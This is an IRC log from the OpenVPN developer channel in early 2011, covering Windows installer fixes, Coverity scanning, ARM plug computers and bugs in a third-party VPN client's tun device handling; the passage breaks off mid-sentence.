-!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:25 -!- Dark-Fx [~bamcpher@rt.fxaffinity.com] has joined #openvpn-devel 09:31 < Dark-Fx> I'm looking to write some code for a tun/tap device over layer 7 stuff. Any suggestions where I should start digging into the code? 09:40 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 09:59 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 09:59 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 09:59 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 09:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:15 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:23 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:30 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:44 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 11:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:21 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:19 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 14:19 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 14:19 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:34 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 15:39 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:42 <@cron2> Dark-Fx: could you rephrase that to actually explain what you're trying to do? Tun/Tap is something very specific: a Layer3/Layer2 network interface of the operating system kernel that is handled by a "virtual device" - in this case being openvpn. 16:42 <@cron2> I can't see any way to make useful "Layer 7" out of this 16:44 < Dark-Fx> It was more a question of reimplementing the tun device to work over layer7, and I realise it has little to do with openvpn now, thanks though 16:48 < Dark-Fx> I'm trying to implement something like http://dankaminsky.com/2004/07/29/51/ at the kernel level :) 22:36 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jan 30 2011 00:17 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 00:23 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 00:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:27 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 01:27 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 01:27 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:49 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:55 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:07 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 10:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 16:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 17:07 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 18:51 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:37 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 22:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Mon Jan 31 2011 01:15 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 02:10 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:01 -!- dazo_afk is now known as dazo 04:50 -!- dRaziel [~kvirc@109.226.102.54] has joined #openvpn-devel 05:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 265 seconds] 05:12 -!- dRaziel [~kvirc@109.226.102.54] has left #openvpn-devel ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"] 05:13 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:42 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:42 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 06:42 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:42 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:14 <@dazo> Hmmm .... nasty stuff with sf.net lately ... we should probably re-check our git repositories 08:14 <@dazo> http://sourceforge.net/blog/sourceforge-attack-full-report/ 08:15 <@vpnHelper> Title: SourceForge.net: Sourceforge Attack: Full Report (at sourceforge.net) 08:15 * ecrist thinks we should move of SF, I've never been a fan 08:15 <+ecrist> list servers are easy to maintain 08:15 <@dazo> what's wrong about sf.net? 08:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:01 <@mattock> I think SF.net is fine, it's just a bit slow to use interactively 09:01 <@mattock> fortunately we only have git and mls there 09:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:08 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 250 seconds] 09:12 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:12 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:26 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 09:34 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:04 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:44 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:26 <@vpnHelper> RSS Update - tickets: #84: multihome with udp6 doesn't work <https://community.openvpn.net/openvpn/ticket/84> 12:38 <@dazo> Hmmm .... JJO should be notified about this ticket 12:38 * dazo sends mail 12:48 -!- dazo is now known as dazo_afk 14:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 14:59 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 14:59 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 14:59 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:13 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:13 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 15:13 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 15:13 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:21 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:50 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 21:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 22:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:07 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Feb 01 2011 00:02 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 00:16 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:41 -!- dazo_afk is now known as dazo 05:06 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:06 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:06 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:06 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:49 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 13:09 <@dazo> cron2: [OT] Have you seen this one? http://www.globalscaletechnologies.com/p-41-dreamplug-devkit.aspx 13:09 <@vpnHelper> Title: OpenRD-Base (at www.globalscaletechnologies.com) 13:10 * dazo almost ordered a GuruPlug Plus ... until he noticed complaints about over-heating and new revisions with a noisy fan ... and then discovered the new DreamPlug 13:14 -!- dazo is now known as dazo_afk 13:51 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:51 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 13:51 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:51 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:33 < Essobi> dazo_afk: I've got an ARM9 14:33 < Essobi> 2 Watts.. 14:34 < Essobi> But daaaaamn that Dream plug is nice. 14:35 < Essobi> wish it had I2C or something nice on it 14:35 < psha> it has 2 eth ports! 14:35 < psha> that's killer feature for home server 14:35 < psha> since vlan-enabled switches are not cheap... 16:02 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 16:02 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 16:02 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:25 <@cron2> dazo: now looking... 16:28 <@cron2> looks nice. It seems to be missing the USB-serial-console port, though 16:57 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:24 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 17:24 < reiffert> moin 17:36 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 20:37 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds] 21:11 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 21:11 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 21:11 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Wed Feb 02 2011 00:12 <+ecrist> http://tech.slashdot.org/story/11/02/01/2314252/Comcast-Activates-IPv6-Trial-Users 00:12 <@vpnHelper> Title: Comcast Activates IPv6 Trial Users - Slashdot (at tech.slashdot.org) 01:05 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:14 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:29 -!- dazo_afk is now known as dazo 03:30 <@dazo> cron2: good point ... but ... isn't the serial stuff supposed to go via the JTAG box? 03:44 <@cron2> no jtag is different - that is for lowest-level recover (broken boot loaders and such) 04:21 < reiffert> :) 04:25 <@dazo> hmmm ... http://www.globalscaletechnologies.com/skins/skin_1/images/dp_1.jpg ... there's something labelled UART, which even looks like a mini-USB connector here ... 04:48 <+janjust> morning folks... what's this about UARTS and JTAG? sounds like old-school technology ;-) 04:52 <@cron2> janjust: well, these embedded linux devices typically have neither VGA nor keyboard connectors :-) 04:53 <+janjust> I know all about them ... 04:53 <@cron2> dazo: yes, might be something like that. You're gonna get one? 04:53 <+janjust> I've got a very old Cisco ContentEngine running Linux; no cd rom, no disk, no vga, no keyboard 04:53 <+janjust> it *does* have a console port which I can attach to using a flatcable 04:53 <@cron2> janjust: this ARM SoC is really amazing - around 100EUR, 1-2 GigE ports, 512M to 1G flash, 512M RAM - sufficient to run "standard debian linux (arm)" on it 04:53 <@dazo> cron2: I'm almost drooling for the DreamPlug :) I almost bought the GuruPlug+ ... but got concerned when reading all about overheating and noisy fans 04:54 <@cron2> yeah, that bit was a turn-down for me as well 04:54 <+janjust> cron2: nice! 04:54 <@dazo> the design of the DreamPlug seems much more sane than GuruPlug ... so that's why it's so interesting : 04:54 <@dazo> :) 04:55 <@dazo> janjust: http://www.newit.co.uk/shop/proddetail.php?prod=DreamPlug 04:55 <@vpnHelper> Title: New IT - Product Details (at www.newit.co.uk) 04:57 * dazo is looking for something little and non-noisy to serve as a private tiny webserver, irc proxy and internal fileserver 04:57 <@dazo> DreamPlug seems to cover these bases pretty well 05:16 <+janjust> dreamplug looks sweet , too bad there're no reviews yet.. I wonder how well it holds up after 4 months of continuous running 05:19 <@dazo> yeah 05:24 <+janjust> there's also fit-PC: http://www.fit-pc.com/web/ 05:24 <@vpnHelper> Title: fit-PC2 (at www.fit-pc.com) 05:25 <+janjust> roughly $400 but Atom-based 05:25 <@cron2> too expensive... 05:25 <@cron2> too much power consumption... 05:26 <@cron2> (it really depends on what you want to do with it - on my desk, I have an Atom+ION based machine which is perfect for that, but the router thingie in the basement is ARM-SoC based - less power, no moving parts, ...) 05:26 <@cron2> (and cheaper!) 05:26 < psha> cron2: 8W at full CPU load 05:26 < psha> from specs 05:26 < psha> *plugs are 5W 05:26 <@cron2> 8W is pretty cool. my atom needs something like ~15W 05:26 < psha> mine too :) 05:27 <+janjust> 6W low load, 8W full load; see specs: http://www.fit-pc.com/web/fit-pc2/fit-pc2-specifications/ 05:27 <@vpnHelper> Title: fit-PC2 Specifications fit-PC2 (at www.fit-pc.com) 05:27 < psha> however it's a bit expensive... 05:27 * dazo would like to see either some external SATA or Firewire interface ... to hook-up external disks as well 05:27 <+janjust> it is quite expensive, however. Having an Atom does have its advantages : less restricted to linux distro's (and I *really* don't like debian) 05:27 <@dazo> but the fit-PC looks nice indeed! 05:28 <+janjust> marvell.com seemed to have something that does eSATA but I cannot find any pricing 05:28 <@dazo> janjust: You know there's talks about making Fedora work better on ARM? 05:28 <@dazo> and with MeeGo support on ARM devices ... things has to happen in that field :) 05:29 <+janjust> dazo: I'd like it if Fedora 14 would work better with my Speedtouch 5x6 modem :-P 05:29 <@dazo> lol 05:29 < psha> heh, is it really matters what distro is installed? :) i'm quiet happy with OpenWrt on router 05:29 <+janjust> not that it won't run on the modem, I'm not asking about that, but it would be nice if FC14 could work *with* it 05:30 <+janjust> OpenWRT is nice but not for a webserver - for that you need more random write access 05:31 <@dazo> well, OpenWRT seems to have done a lot of work making it more useful for more general purpose devices as well ... and the package repository has grown a lot 05:31 < psha> janjust: openwrt has limited write access only to root partition 05:31 * dazo recently installed ISC BIND9 server on his OpenWRT installation ... to get proper IPv6 resolving via IPv6 DNS servers 05:32 < psha> make /srv on external device 05:33 < psha> also after i've installed system on my home router (d510mo atom board) i've not touched it for a half a year 05:33 * dazo goes for lunch 05:33 < psha> so installed distro does not really matters 05:33 * psha is debian addict ;) 05:34 <@cron2> janjust: marvell kirkwood is what goes into sheevaplug etc. 05:34 <@cron2> they don't sell the gear directly, they sell chips and globalscale (+etc.) builds devices 05:35 <+janjust> ah OK; there's also TonidoPlug ($99) 05:35 <+janjust> seems to run ubuntu 9 05:36 <+janjust> hehe never mind : that one is based on SheevaPlug again 05:47 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:40 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 09:42 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:39 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:10 -!- s7r [~s7r@89.39.174.74] has joined #openvpn-devel 13:11 < s7r> isn't openvpn community project accepting donations? where is the devel list / website and donation page? 13:12 <@dazo> s7r: http://community.openvpn.net/ ... it's a lot of info there .... donations are not really solved yet, afair 13:12 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 13:13 < s7r> i saw that page 13:13 < s7r> where 13:14 < s7r> i see ways to contribute but no donations 13:15 * dazo re-qoutes himself ... 13:15 <@dazo> "donations are not really solved yet, afair" 13:15 <@dazo> and the devel list should be mentioned there ... if not, it should go in there .... anyhow, openvpn-devel@lists.sourceforge.net 13:18 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 13:20 <+krzee> and http://openvpn.net/mail 13:25 <+ecrist> !donate 13:27 <@cron2> im always open for donations :-) geeky hardware preferred! 13:29 <@dazo> cron2: good idea! 13:36 -!- dazo is now known as dazo_afk 13:44 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 14:35 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 14:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:43 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 14:43 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 14:46 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:00 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 15:01 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 15:01 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 15:01 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 15:35 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 15:38 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 15:49 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 16:50 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:41 -!- reiffert is now known as reiffert_ 17:41 -!- reiffert_ is now known as reiffert 19:12 -!- s7r [~s7r@89.39.174.74] has left #openvpn-devel [] --- Day changed Thu Feb 03 2011 00:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:47 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:49 <@mattock> dazo: any thoughts on the floating-tls mail from Blaise? 03:02 -!- dazo_afk is now known as dazo 04:10 -!- dazo is now known as dazo_afk 04:16 -!- dazo_afk is now known as dazo 05:26 <@mattock> finally back to Win7 installer 05:26 <@mattock> james had some ideas how to fix it, I'll try those 05:46 <@mattock> oh yeah, James' msvcrt90.dll fixed the Win7 issue 05:46 <@mattock> now a few installer bugs to squash 05:46 <@mattock> and lots of testing 05:55 <@dazo> mattock: good news! :) 05:55 <@mattock> yep! 05:55 <@dazo> so we need to ship msvcrt90.dll in addition? 05:55 <@mattock> yep 05:55 <@mattock> but it's redistributable 05:55 <@dazo> okay 05:55 <@dazo> goodie! 05:56 <@mattock> so, if I don't hit anything major we could put a test installer to wider circulation tomorrow evening 05:57 <@mattock> I would not publish it quite yet, because the installer EXE needs to be signed by James 05:57 <@mattock> and also, I don't really trust the installer quite yet :D 05:57 <@mattock> I mean, would not publish 2.2-rc yet 06:00 <@mattock> btw. I kindly asked proXPN folks to hand over their OpenVPN sources 06:00 <@mattock> and encouraged them to join the common OpenVPN development effort 06:00 <@mattock> we'll see what happens 06:34 <@cron2> any news from coverity? 07:34 <@mattock> cron2: nope, but my win7 64-bit box is now connected to the community VPN using the GUI... so I _could_ take a quick look at coverity 07:35 <@dazo> mattock: if there's an upload possibility ... feel free to throw 2.2-RC at it 07:37 <@cron2> mattock: sounds great 07:37 <+ecrist> mattock: did you get any sort of response from proXPN? 07:38 <@mattock> ecrist: not yet 07:38 <@mattock> dazo: where should I throw 2.2-rc to? :) 07:38 <+ecrist> if not, eff.org 07:38 <+ecrist> ;) 07:38 <@mattock> I'll be nice with them at first 07:38 <@dazo> mattock: coverity :) 07:38 <@mattock> ahh :) 07:38 <@mattock> that's a good idea 07:39 <@dazo> mattock: did you think I was silly!?!? :-P 07:39 <@mattock> well, kind of ;) 07:39 <@dazo> lol 07:40 <@mattock> just noticed that openvpngui.exe assumes openvpn is in c:\Program files <something>\OpenVPN 07:40 <@mattock> so, it won't launch if it's in c:\Program Files <something>\OpenVPN-2.2-rc 07:40 <@mattock> for example 07:40 <@dazo> gah ... 07:41 <@mattock> I have not yet tested the openvpnserv.exe, and TAP install fails for some reason 07:41 <@mattock> might be lack of admin privileges when running the installer... win7 access controls are a bit funky 07:41 <@dazo> if funky == strict ... then I would actually applaud it :) 07:42 <@dazo> if funky == unreliable ... then I wouldn't be that much surprised :-P 07:45 <@mattock> ok, logged into coverity scan web interface... 07:51 <@cron2> dazo: funky == strict, afair binaries need to have some bits set for "require admin privileges, run UAC!" if you don't already have admin privs 07:51 * cron2 doesn't know a zilch about windows, but what I've read so far about Win7 all seemed to make sense to me 07:51 <@dazo> that makes sense 07:52 <@mattock> ok, so coverity web interface seems to work and it's printing out some defects... but I can't find any way to feed any files to it 07:55 <@mattock> I'll ask James how it's supposed to work... 08:16 <@dazo> mattock: can you save those defects and send me? 08:17 <@mattock> hmm... not sure, but they might not be relevant... I'm not sure what codebase it's monitoring, but not Git for sure. Could be that it tracks James' SVN tree 08:17 <@mattock> that would make most sense, given OpenVPN's history 08:17 <@dazo> yeah, most likely 08:19 <@mattock> sent mail to James asking about this 08:19 <@mattock> hopefully he'll answer soon 08:19 <@cron2> I assume tthat there are "project settings" somewhere where you can point to a tarball... which would then be 2.0.9 or such... 08:21 <@mattock> cron2: I would assume so too, but I could not find it - at least nowhere that makes sense 08:21 <@mattock> it seems the each Scan project is setup by Coverity guys with very limited permissions given to the OSS developers 08:22 <@dazo> "We will not let you abuse our commercial product" kind of style .... 08:23 <@mattock> yep, it looks like that 08:23 <@mattock> meeting today? 08:24 <@dazo> do we have an agenda? 08:25 <@dazo> or does it make sense to fill up the agenda with more stuff for next week? 08:25 * dazo is not completely fit for fight these days ... but can manage 08:25 <+krzee> oh god its thursday already 08:25 <@dazo> yeah 08:26 <@dazo> krzee: you are such a lurker! :-P 08:26 <+krzee> ;] 08:26 <+krzee> fixing my new phone 08:26 <+krzee> which i broke moments earlier 08:26 <@dazo> heh 08:26 <+krzee> looks like it fixed tho 08:28 <+krzee> err nope 08:35 * cron2 can't promise anything yet for tonight 08:40 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 08:40 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 09:37 -!- Dark-Fx [~bamcpher@rt.fxaffinity.com] has quit [Ping timeout: 240 seconds] 10:06 <@mattock> dazo: we could wait until next week, nothing really urgent atm 10:07 -!- Irssi: #openvpn-devel: Total of 20 nicks [8 ops, 0 halfops, 2 voices, 10 normal] 10:07 <@mattock> jamesyonan: now that you're here, I got to bug you with something :) 10:07 <@dazo> mattock: okay, sounds good to me! 10:08 <@mattock> I'm wondering why "tapinstall.exe hwids" fails during openvpn install 10:08 <@mattock> thus the separate TAP driver install never shows up 10:09 <@mattock> although installing the driver manually with with "tapinstall.exe install Oem*inf tap0901" works 10:09 <@mattock> dazo, cron2: coverity is tracking some old OpenVPN codebase as I thought 10:10 <@mattock> I can ask them if they could track Git code... I think that would be most useful 10:16 <@dazo> mattock: agreed 10:16 <@mattock> there's the risk that they re-evaluate our validity for the Scan project, given that there _is_ a commercial entity behind OpenVPN now 10:17 <@mattock> but there's nothing to lose 10:18 <@dazo> agreed, if they decide to "kick us out", that's their decision .... and we have then all the rights to be grumpy at them again :-P 10:21 <@mattock> what could be more fun than being grumby 10:22 <@dazo> heh 10:22 * ecrist has never been grumby 10:22 <+ecrist> is that a euro-grunge thing? 10:23 <@mattock> oh, grumpy 10:23 <@mattock> ecrist: does that ring a bell? :) 10:23 * dazo had to recheck his own spelling now :) 10:41 <@cron2> the git thingie of OpenVPN is very open source - code gets implemented quickly, release gets nowhere. Very different from closed source, where nothing ever works but release is shipped on time :-) 10:49 <@dazo> cron2: don't be so honest! it's demoralising! ;-) 10:51 <@mattock> cron2: does this 2.2-rc delay make us more open source, then? :P 10:52 <+ecrist> it does 10:52 <+ecrist> if we can manage to delay it another 6 to 12 months, we're right up there with everyone else 10:52 <+ecrist> oh, we'd have to start forcing people to use latest devel snapshots from git to get support, though. 10:53 <@mattock> I fear that once the Windows build process works and is fully documented, we won't have this kind of delays anymore... 10:54 <+ecrist> damn 10:54 <@mattock> btw. I'm now building openvpn for Windows with --enable-password-save feature 10:54 <+ecrist> good plan 10:54 <@mattock> I can't test openvpnserv.exe without it. 10:54 <+ecrist> imho, unless enabling that adds extra code, I think it should just be a default, and inverse the option 10:54 <+ecrist> --disable-password-save 10:54 <+ecrist> for those that don't want it 11:03 < reiffert> btw, I was forced to configure a phionvpn client. Thats a piece of shit. It turned me into debugging and they dont check the return values of system calls. They use tun/tap but it works for tun0 only. On OS X they use the kernel module tap.kext and tun.kext colliding with Tunnelblick. There should be be some work for Tunnelblick left in order to not collide there. 11:04 <@mattock> ecrist: I think --enable-password-save might even reduce the amount of code 11:05 < reiffert> Any chances to make openvpn use particular kernel modules? Guess no, eh? 11:06 <@dazo> reiffert: I doubt so, as it all goes via kernel syscalls ... so it's the kernel which then decides which module is used, based on which module got priority 11:09 < reiffert> My experience is, that phionvpn and Tunnelblick wont work at the same time on OS X then. 11:09 <@dazo> reiffert: all openvpn does is to work with /dev/tun ... to create and destroy tun/tap devices ... so it's using plain-old file operations 11:09 * dazo just checked the code 11:09 <@cron2> well, it's "walk through /dev/tunX until you get one that's free" 11:09 <@cron2> tun0, tun1, tun2, ... 11:09 <@cron2> IIRC 11:10 <@cron2> so if this phionthing insists on "tun0" it will fail if that is already taken... 11:10 < reiffert> yep that's what I figured on Linux and OS X. 11:11 < reiffert> on OSX the Tunnelblick will refuse to work with the ancient tun/tap drivers phionvpn installs to the system. 11:11 <@dazo> reiffert: try in the openvpn client and specify tun1 or tun2, or even tun-ovpn 11:11 <@dazo> ahh 11:11 < reiffert> dazo: that is my current working solution, yeah. 11:11 < reiffert> made me rewrite the firewall and routing stuff. 11:12 <@dazo> then it's not the tun module itself, which is the problem ... it's that phionvpn expects tun0 for itself, and only that one 11:12 < reiffert> Maybe we should get in contact with the phionvpn people to arrange a proper "both can coexist" solution. Thoughts? 11:12 -!- s7r [~s7r@74.3.165.161] has joined #openvpn-devel 11:12 <@dazo> reiffert: they could do the same as what openvpn does ... run in a loop until it finds an available adapter 11:13 < reiffert> dazo: to my system call traces they dont check the return values after trying to create an interface after they found a char device in /dev/net/ 11:14 <@dazo> then it's definitely a bug in phionvpn ... not checking return values is a bug when it causes unexpected behaviour 11:14 < reiffert> yeah. So any thing we can do to help them fix their code? 11:14 <@dazo> is phionvpn open source? 11:14 <@dazo> if not, point them at our source :) 11:15 < reiffert> My current thoughts are: contact phionvpn people, ask for their code, offer to fix it, sign NDA and get things done. 11:15 * dazo declines to sign NDA 11:15 < reiffert> But I guess they just will refuse. 11:16 <@dazo> most likely 11:17 < reiffert> But still worth a try, so I can put some lines about their bad behaviour on my website :) 11:17 <@dazo> heh 11:17 <@dazo> reporting the bug, pointing them to a potential solution might just as well be as good .... if they look for tuncfg() in tun.c in OpenVPN and follow that code path, they might get some ideas 11:18 < reiffert> there are even more bugs ... 11:18 < reiffert> they tried to set a network mask 192.255.255.255 and 255.255.255.3 11:18 <@dazo> why do you use phionvpn then? :-P 11:18 < reiffert> crazy eh? 11:18 <@dazo> heh ... that's pretty cool attempt! 11:18 < reiffert> dazo: A customer of my customer offers my customer access to his LAN ... 11:19 < reiffert> and they refuse to use something working. 11:19 <@dazo> isn't it typical 11:19 < reiffert> sure it is. 11:19 < reiffert> I wonder if networking code stops when parsing network bitmasks after the first 0 or not. 11:20 < reiffert> like 11:20 < reiffert> 11111111.11111111.11111111.00000011 stop at bit 25 when parsed from left to right 11:24 <@dazo> I think that's quite dependent on the kernel 11:24 <@dazo> but I in general think they just do bitwise operations on the netmask 11:25 <@dazo> the whole IP address is usually converted into a 32bit integer value ... so doing 